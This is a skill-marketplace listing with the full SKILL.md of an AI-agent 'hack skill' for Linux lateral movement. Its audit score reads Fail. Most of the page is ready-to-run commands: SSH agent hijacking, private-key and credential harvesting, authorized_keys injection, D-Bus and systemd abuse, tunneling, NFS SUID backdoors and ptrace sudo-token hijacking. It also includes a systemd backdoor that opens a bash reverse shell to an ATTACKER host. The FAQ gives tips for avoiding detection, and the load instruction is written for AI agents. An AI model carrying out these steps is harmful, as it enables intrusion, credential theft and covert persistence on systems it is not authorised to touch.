PluginBench
Skill
Fail
Audit score 45

linux-lateral-movement

yaklang/hack-skills

SSH hijacking, key harvesting, and D-Bus exploitation for lateral movement across Linux hosts.

What is linux-lateral-movement?

Linux lateral movement playbook for pivoting across hosts after initial access. Covers SSH agent hijacking, private key harvesting, credential locations, D-Bus exploitation, network tunneling, and shared filesystem abuse to move laterally without detection.

  • Hijack SSH agent sockets to reuse forwarded keys from other users
  • Harvest SSH private keys and authorized_keys injection for persistent access
  • Extract credentials from shell history, config files, and environment variables
  • Enumerate and exploit D-Bus services and systemd units for privilege abuse
  • Establish SSH tunnels, SOCKS proxies, and multi-hop pivoting chains
  • Discover internal networks and services from compromised hosts

How to install linux-lateral-movement

npx skills add https://github.com/yaklang/hack-skills --skill linux-lateral-movement
Prerequisites
  • Initial shell access on a Linux host
  • SSH client and basic command-line tools (find, grep, awk)
  • Root or process access to read other users' SSH agent sockets and environments
Claude Code
Cursor
Windsurf
Cline

How to use linux-lateral-movement

  1. 1.Identify SSH agent sockets in /tmp or via /proc/*/environ and set SSH_AUTH_SOCK to hijack them
  2. 2.Search for unencrypted SSH private keys in /home and /root directories using find
  3. 3.Extract credentials from .bash_history, .mysql_history, .pgpass, .netrc, and environment variables
  4. 4.Enumerate D-Bus services with dbus-send and check for exploitable systemd units
  5. 5.Establish SSH tunnels (-L, -R, -D) or alternative tunnels (socat, /dev/tcp) to reach internal hosts
  6. 6.Discover internal network topology by parsing known_hosts, running arp, and scanning with /dev/tcp
  7. 7.Check for NFS shares with no_root_squash and create SUID binaries for cross-host access

Use cases

Good for
  • After gaining shell access, hijack an admin's SSH agent to reach internal hosts
  • Extract unencrypted SSH keys and inject your public key into authorized_keys for persistence
  • Parse known_hosts and authorized_keys to identify internal network topology
  • Use D-Bus to start malicious systemd services if PolicyKit allows unprivileged access
  • Set up SSH tunnels to access internal databases (MySQL, PostgreSQL) from your machine
Who it's for
  • Red teamers and penetration testers performing post-exploitation lateral movement
  • Security researchers studying Linux attack chains and privilege escalation
  • Incident responders investigating lateral movement in compromised Linux environments

linux-lateral-movement FAQ

What if SSH_AUTH_SOCK hijacking fails?

The agent socket may be protected by file permissions or the agent may have been cleared. Fall back to SSH key harvesting from ~/.ssh directories or credential extraction from shell history and config files.

How do I pivot without SSH tools?

Use bash built-in /dev/tcp for port scanning and connections, socat or ncat for relays, or D-Bus method calls to trigger system services. SSH tunneling can also be replaced with SOCKS proxies like chisel.

Can I detect if I'm using a hijacked SSH agent?

The original agent owner will not see your connections in their SSH logs if you're reusing their forwarded agent. However, the agent may log key usage or the target host may record the connection source.

What credentials should I prioritize harvesting?

SSH private keys (id_rsa, id_ed25519) are highest value. Then target .pgpass, .my.cnf, .netrc, and .git-credentials for database and service access. Shell history often contains plaintext passwords.

How do I persist after lateral movement?

Inject your SSH public key into authorized_keys on target hosts, create SUID backdoors on NFS shares, or establish reverse SSH tunnels. Avoid leaving obvious artifacts in shell history.

Full instructions (SKILL.md)

Source of truth, from yaklang/hack-skills.


name: linux-lateral-movement description: >- Linux lateral movement playbook. Use after gaining initial access to pivot across Linux hosts via SSH hijacking, credential harvesting, internal pivoting, D-Bus exploitation, sudo token reuse, and shared filesystem abuse.

SKILL: Linux Lateral Movement — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert Linux lateral movement techniques. Covers SSH agent hijacking, key harvesting, credential locations, D-Bus exploitation, network pivoting, sudo token reuse, and systemd manipulation. Base models miss SSH_AUTH_SOCK hijacking and ptrace-based sudo session hijack.

0. RELATED ROUTING

Before going deep, consider loading:

  • linux-privilege-escalation if you need root on the current host before pivoting
  • linux-security-bypass when restricted shells or security modules block lateral movement tools
  • container-escape-techniques when the target network includes containerized hosts
  • kubernetes-pentesting when pivoting into a Kubernetes cluster
  • unauthorized-access-common-services for exploiting discovered internal services (Redis, MongoDB, etc.)

1. SSH AGENT HIJACKING

1.1 Find SSH Agent Sockets

# As root (or user with access to other users' processes):
find /tmp -path "*/ssh-*" -name "agent.*" 2>/dev/null
# Or via /proc:
grep -r SSH_AUTH_SOCK /proc/*/environ 2>/dev/null | tr '\0' '\n'

# Typical path: /tmp/ssh-XXXXXX/agent.PID

1.2 Hijack Agent Forwarding

# Set the found socket as our auth agent
export SSH_AUTH_SOCK=/tmp/ssh-AbCdEf/agent.12345

# List available keys in the agent
ssh-add -l
# If keys appear → we can use them

# SSH to any host this agent can authenticate to
ssh -o StrictHostKeyChecking=no user@internal-host

# The agent owner won't notice — we're using their forwarded agent

1.3 Persistent Agent Monitoring

# Monitor for new SSH agent sockets (wait for admin to SSH in)
inotifywait -m /tmp -e create 2>/dev/null | grep ssh-
# Or poll:
while true; do
    find /tmp -path "*/ssh-*" -name "agent.*" -newer /tmp/.marker 2>/dev/null
    touch /tmp/.marker
    sleep 5
done

2. SSH KEY HARVESTING

2.1 Private Key Locations

find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" -o -name "*.key" 2>/dev/null
# Also: /etc/ssh/ssh_host_*_key (MITM), /home/*/.ssh/id_*

# Find keys without passphrase:
for key in $(find / -name "id_*" ! -name "*.pub" 2>/dev/null); do
    ssh-keygen -y -P "" -f "$key" > /dev/null 2>&1 && echo "NO PASSPHRASE: $key"
done

2.2 known_hosts Parsing

# Hashed known_hosts (common default):
cat ~/.ssh/known_hosts
# May be hashed — use ssh-keygen to check against known IPs:
ssh-keygen -F 10.0.0.1 -f ~/.ssh/known_hosts

# Unhashed known_hosts → direct IP/hostname list
awk '{print $1}' ~/.ssh/known_hosts | sort -u

# Extract all hostnames/IPs from all users' known_hosts
cat /home/*/.ssh/known_hosts /root/.ssh/known_hosts 2>/dev/null \
  | awk '{print $1}' | tr ',' '\n' | sort -u

2.3 authorized_keys Injection

# Generate attacker keypair (on attacker box)
ssh-keygen -t ed25519 -f /tmp/pivot_key -N ""

# Inject public key (on compromised host)
echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /root/.ssh/authorized_keys
echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /home/admin/.ssh/authorized_keys

# SSH back in with our key
ssh -i /tmp/pivot_key root@target

3. CREDENTIAL HARVESTING LOCATIONS

3.1 System Credentials

LocationContentsCommand
/etc/shadowPassword hashescat /etc/shadow (root)
/etc/passwdUser list, may contain hashescat /etc/passwd
.bash_historyCommand history (passwords in cleartext)cat /home/*/.bash_history
.mysql_historyMySQL commands with passwordscat /home/*/.mysql_history
.psql_historyPostgreSQL commandscat /home/*/.psql_history
.pgpassPostgreSQL password filecat /home/*/.pgpass
.my.cnfMySQL credentialscat /home/*/.my.cnf
.netrcFTP/HTTP auto-login credentialscat /home/*/.netrc
.git-credentialsGit HTTPS passwordscat /home/*/.git-credentials

3.2 Environment & Config Files

# Current process secrets
env | grep -iE "pass|key|secret|token|api|cred|auth"

# All process environments (root):
for pid in /proc/[0-9]*; do
    cat $pid/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|key|secret|token"
done

# Application configs (common credential locations):
find /var/www /opt /srv -name "wp-config.php" -o -name "settings.py" \
     -o -name "*.env" -o -name "database.yml" -o -name "docker-compose.yml" 2>/dev/null

# Keyrings & secret stores:
find / -name "*.keyring" -o -name ".vault-token" -o -path "*/.password-store/*.gpg" 2>/dev/null

4. D-BUS EXPLOITATION

4.1 Enumerate D-Bus Services

# List system bus services
dbus-send --system --dest=org.freedesktop.DBus \
  --type=method_call --print-reply \
  /org/freedesktop/DBus org.freedesktop.DBus.ListNames

# List session bus services
dbus-send --session --dest=org.freedesktop.DBus \
  --type=method_call --print-reply \
  /org/freedesktop/DBus org.freedesktop.DBus.ListNames

# Introspect a service (find available methods)
dbus-send --system --dest=org.freedesktop.systemd1 \
  --type=method_call --print-reply \
  /org/freedesktop/systemd1 org.freedesktop.DBus.Introspectable.Introspect

4.2 Abuse systemd & PolicyKit via D-Bus

# Start a service via D-Bus (if policy allows):
dbus-send --system --dest=org.freedesktop.systemd1 \
  --type=method_call --print-reply /org/freedesktop/systemd1 \
  org.freedesktop.systemd1.Manager.StartUnit \
  string:"malicious.service" string:"replace"

# polkit actions available without auth:
pkaction --verbose 2>/dev/null | grep -B5 "implicit active: yes"

5. INTERNAL NETWORK PIVOTING

5.1 SSH Tunneling

# Local port forward: access INTERNAL_HOST:3306 via localhost:3306
ssh -L 3306:INTERNAL_HOST:3306 pivot@compromised-host

# Remote port forward: expose attacker service to internal network
ssh -R 8080:ATTACKER:8080 pivot@compromised-host

# Dynamic SOCKS proxy: route all traffic through pivot
ssh -D 1080 pivot@compromised-host
# Then: proxychains nmap -sT INTERNAL_RANGE

# SSH over SSH (multi-hop):
ssh -J user1@hop1,user2@hop2 target@final-host

5.2 Without SSH — Alternative Tunnels

# socat port forward
socat TCP-LISTEN:8080,fork TCP:INTERNAL_HOST:80 &

# ncat relay
ncat -l -p 8080 --sh-exec "ncat INTERNAL_HOST 80"

# /dev/tcp (Bash built-in, no tools needed)
exec 3<>/dev/tcp/INTERNAL_HOST/80
echo -e "GET / HTTP/1.0\r\nHost: INTERNAL_HOST\r\n\r\n" >&3
cat <&3

# chisel (SOCKS proxy over HTTP)
# On attacker: chisel server -p 8080 --reverse
# On target:   chisel client ATTACKER:8080 R:socks

5.3 Network Discovery from Compromised Host

ss -tlnp && ss -tnp                  # Listening & established connections
arp -a && ip neigh                    # Known adjacent hosts
cat /etc/resolv.conf                  # DNS servers
dig axfr internal.domain @dns 2>/dev/null   # Zone transfer

# Subnet sweep (bash-only, no tools):
for i in $(seq 1 254); do ping -c1 -W1 10.0.0.$i &>/dev/null && echo "ALIVE: 10.0.0.$i" & done; wait

# Port scan via /dev/tcp:
for port in 22 80 443 3306 5432 6379 8080; do
    (echo >/dev/tcp/10.0.0.1/$port) 2>/dev/null && echo "OPEN: $port"
done

6. SHARED FILESYSTEM EXPLOITATION

6.1 NFS Mounts

# Discover NFS shares
showmount -e FILESERVER_IP 2>/dev/null

# Check for no_root_squash (root maps to root)
mount -t nfs FILESERVER_IP:/share /mnt/nfs
# If no_root_squash: create SUID binaries visible to other hosts

# All hosts mounting the same share → SUID binary = root on all hosts
cp /bin/bash /mnt/nfs/bash && chmod +s /mnt/nfs/bash

6.2 SMB/CIFS Shares

# Enumerate shares
smbclient -L //FILESERVER_IP/ -N 2>/dev/null      # Null session
smbclient -L //FILESERVER_IP/ -U 'user%password'

# Mount and search for credentials
mount -t cifs //FILESERVER_IP/share /mnt/smb -o username=user,password=pass
find /mnt/smb -name "*.conf" -o -name "*.cfg" -o -name "*.kdbx" \
     -o -name "*.xlsx" -o -name "*.docx" 2>/dev/null

7. SUDO TOKEN REUSE (ptrace-Based)

# If another user has an active sudo session (timestamp not expired):
# And we can ptrace their process (same UID or root)

# Check sudo timestamp files:
ls -la /var/run/sudo/ts/ 2>/dev/null
ls -la /var/db/sudo/ 2>/dev/null
# Files here mean active sudo tokens

# ptrace-based hijack:
# Attach to the user's shell process
# Inject: sudo /bin/bash
# The injected sudo inherits the valid timestamp → no password needed

# Automated tool: sudo_inject
# https://github.com/nongiach/sudo_inject
# Injects into processes with valid sudo tokens

8. SYSTEMD SERVICE MANIPULATION

# Find writable unit files:
find /etc/systemd /usr/lib/systemd -writable -name "*.service" 2>/dev/null

# Inject into existing service (add ExecStartPre=):
# Or create new: /etc/systemd/system/backdoor.service
# [Service] Type=oneshot ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
systemctl daemon-reload && systemctl enable --now backdoor.service

9. LATERAL MOVEMENT DECISION TREE

Compromised host — where to move next?
│
├── SSH credentials available?
│   ├── Private keys found? → try on all known_hosts targets (§2)
│   ├── SSH agent running? → hijack socket (§1)
│   ├── Passwords in history/configs? → spray across hosts (§3)
│   └── authorized_keys writable on other hosts? → inject key (§2.3)
│
├── Network services discovered?
│   ├── Internal web apps? → tunnel + attack (§5.1)
│   ├── Databases (3306/5432/6379)? → check harvested creds (§3)
│   ├── SMB/NFS shares? → mount + search for creds/SUID (§6)
│   └── Kubernetes API (6443)? → load kubernetes-pentesting skill
│
├── Can reach other hosts?
│   ├── Direct SSH? → use keys/passwords
│   ├── Firewalled? → SSH tunnel or chisel (§5)
│   └── No tools? → /dev/tcp + bash (§5.2)
│
├── Root on current host?
│   ├── Read /etc/shadow → crack hashes → password reuse (§3)
│   ├── Dump /proc/*/environ → find service credentials (§3.2)
│   ├── Hijack sudo tokens → piggyback admin sessions (§7)
│   └── Modify systemd services → backdoor (§8)
│
├── D-Bus services available?
│   ├── Privileged services exposed? → method call abuse (§4)
│   └── polkit actions without auth? → privilege actions (§4.3)
│
└── No obvious path?
    ├── ARP scan + port sweep internal network (§5.3)
    ├── Passive credential sniffing (if cap_net_raw)
    ├── Wait for admin SSH → agent hijack (§1.3)
    └── Check for cloud metadata (169.254.169.254)